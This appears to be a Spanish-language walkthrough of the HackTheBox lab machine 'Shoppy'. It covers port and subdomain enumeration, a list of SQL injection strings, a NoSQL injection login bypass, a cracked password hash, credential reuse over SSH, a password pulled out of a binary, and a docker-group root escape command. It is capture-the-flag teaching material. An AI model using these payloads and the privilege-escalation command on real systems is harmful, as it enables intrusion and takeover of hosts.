Shoppy

Table of contents

  1. Enumeracion
    1. Escaneo con nmap
    2. Fuzzing de directorios
    3. Fuzzing de subdominios
  2. Flag de user
  3. Flag de root

Enumeracion

Escaneo con nmap

Iniciamos con un escaneo de nmap con el comando:

sudo nmap -sS -n -Pn --open -p- 10.10.11.180

El cual le estamos diciendo que con:

  • sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si esta abierto

  • -n: para que no haga resolucion DNS y tarde menos el escaneo

  • -Pn: para evitar el descubrimiento de hosts

  • –open: para que solo muestre los puertos abiertos

  • -p-: para que escanee todo el rango de puertos

Este escaneo nos reportara 3 puertos abiertos:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Ahora escanearemos los puertos buscando la version y servicio que esten corriendo:

nmap -sCV -p22,80,9093 10.10.11.180

El primer puerto que nos sale es el 22:

22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
|_  256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)

Corresponde a SSH y les adelanto que no podemos hacer nada sin las credenciales correctas

El segundo puerto es el 80 (HTTP)

80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb

Vemos como esta usando la version 1.23.1 de nginx como servidor web, y lo mas importante es que nos esta redirigiendo a http://shoppy.htb, asi que si ponemos la IP de la maquina en un buscador web, nos sale algo como esto:

Donde nos dice que no puede encontrar este sitio, pero en el URL aparace shoppy.htb, asi que como dije, nos redirige a ese dominio, asi que es evidente que se esta aplicando virtual hosting, entonces lo agregaremos e nuestro /etc/hosts con el comando:

echo "10.10.11.180 shoppy.htb" | tee -a /etc/hosts

Les puedo decir que el puerto 9093 no contiene nada interesante asi que pasamos de el

Fuzzing de directorios

La pagina realmente no tiene nada, asi que queda buscar directorios que esta pagina este usando wfuzz con el comando:

wfuzz -u 'http://shoppy.htb/FUZZ' -w /usr/share/wordlists/directory-list-2.3-medium.txt -t 100 --hc=404

El cual le estamos diciendo que con:

  • -u: el URL donde la palabra FUZZ se usa para sustiur cada linea el diccionario en donde se encuentre esa palabra, en nuestro caso es el final de la URL

  • -w: para indicar el wordlist

  • -t: para indicar cuantos hilos queremos, osea para ejecutar tareas al mismo tiempo (en paralelo)

  • –hc: para ocultar el codigo de estado 404

Vemos como nos encontro los siguientes directorios:

"assets"                                                                                 
"admin"                                                                                   
"css"                                                                                     
"Login"      
"js"                                                                                       
"fonts"                                                                                   
"Admin"                                                                                   
"exports"                                                                                 
"LogIn"                                                                                   
"LOGIN" 

Hay varios con el mismo nombre de login pero realmente todos ingresan a lo mismo, a esta pestaña de login:

Fuzzing de subdominios

Nunca esta de mas ver si hay subdominios en el dominio web, asi que con wfuzz podemos hacerlo, ingresando el comando:

wfuzz -u 'http://shoppy.htb/' -H 'Host: FUZZ.shoppy.htb' -t 100 -w /usr/share/wordlists/bitquark-subdomains-top100000.txt --hh=169

Este comando es similar al anterior, solo que ahora con --hh=169 le indicamos que oculte las respuesta con una longitud de 169, y el 169 es por que esa es la longitud de caracteres de un subdominio incorrecto.

Al final solo descubrio un subdominio (tambien los debemos de agregar a los hosts):

000047340: 200 0 L 141 W 3122 Ch "mattermost"

El subdominio es: mattermost

El cual es otra pestaña de login:

Flag de user

Ahora toca buscar y explotar vulnerabilidades para conseguir la primera flag. Empezaro con el primer dominio que encontramos: http://shoppy.htb/login, como tenemos un login, lo mas comun es probar inyecciones SQL, podemos probar con los payloads mas comunes para SQL injection, como estos:

''
`
``
,
"
""
/
//
\
\\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '

Y dependiendo de la respuesta sabremos de que se trata, en mi caso simplemente le mandare una comilla al input del usuario, y encontraseña lo que sea (pueden usar BurpSuite o curl, en mi caso usare curl por que tengo muchas cosas abiertas, y el Burp hace que me pete la patata de compu que tengo jajaja)

Con curl lanzare la siguiente peticion:

curl shoppy.htb/login -id "username='&password=12345"

Esto respondera con un 504, osea que se tardo mucho y no respondio, asi que empece a probar inyecciones basadas en tiempo y a ciegas y tampoco funciono, entonces lo otro que queda es probar inyecciones NoSQL, asi que intentare con un payload de una inyeccion NoSQL para evadir el login: admin'||'1==1

Esto hara nos permitira iniciar con el usuario admin, ya que con 1==1 nos permitita que la consulta siempre sea verdadera y la contraseña puede ser la que sea.

Vemos que una vez dentro tenemos otro input donde podemos buscar usuarios:

Nuevamente nos encontramos con una NoSQL injection, y pasandole el mismo payload anterior pero sin admin, podemos ver que nos muestran mas usuarios: '||'1==1

Y encontro otro usuario llamado Josh y el hash de su contraseña, asi que ahora queda crackearlo para conseguir su contraseña, en mi caso usare crackstation, y nos arroja que es un hash MD5 y su contraseña: remembermethisway.

Solo queda saber en donde se ponen estas credenciales. Si recordamos tenemos otra pestaña de login (http://mattermost.shoppy.htb), asi que probare meterlas alli, y pues funciono, una vez dentro me puse a chismosear a ver que encontraba y di que en una seccion que se llama Deploy Machine hay credenciales para el usuario jeager:

Recordemos que tenemos el puerto del SSH abierto, asi que podemos probar si esas credenciales son correctas:

ssh jaeger@10.10.11.180

Y la contraseña es: Sh0ppyBest@pp!

Vemos que ingresamos correctamente y tenemos la primera flag:

Flag de root

Ahora con el comando sudo -l veremos que podemos ejecutar como sudo desde el usuaro jeager, y vemos que podemos ejecutar un binario con el usuario deploy:

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Y si lo intentamos correr vemos que nos pide una contraseña:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: oli  
Access denied! This incident will be reported !

Aqui opte por mostrar la seccion .rodata del binario, ya que esta seccion contiene las variables globales y los strings, use el comando:

objdump -s -j .rodata /home/deploy/password-manager

Y vemos como en esta parte el input espera por un string llamado Sample:

2050 20706173 73776f72 643a2000 00530061   password: ..S.a
 2060 006d0070 006c0065 00000000 00000000  .m.p.l.e........

Asi que volvemos a ejecutar el binario pasandole eso y vemos que nos muestra las credenciales de deploy:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

Una vez dentro y si pones el comando ìd podemos ver como pertenecemos al grupo docker y podemos ejecutar el comando de docker para montar un contenedor:

uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

Si buscamos en GFObins una manera de escalar privilegios nos encontramos que podemos montar un contenedor en / y consiguiendo acceso como root mientras tengamos la imagen alpine en docker.

Asi que ingresamos:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Y ahora ya somos root y tenemos la flag:

Eso ha sido todo, gracias por leer ❤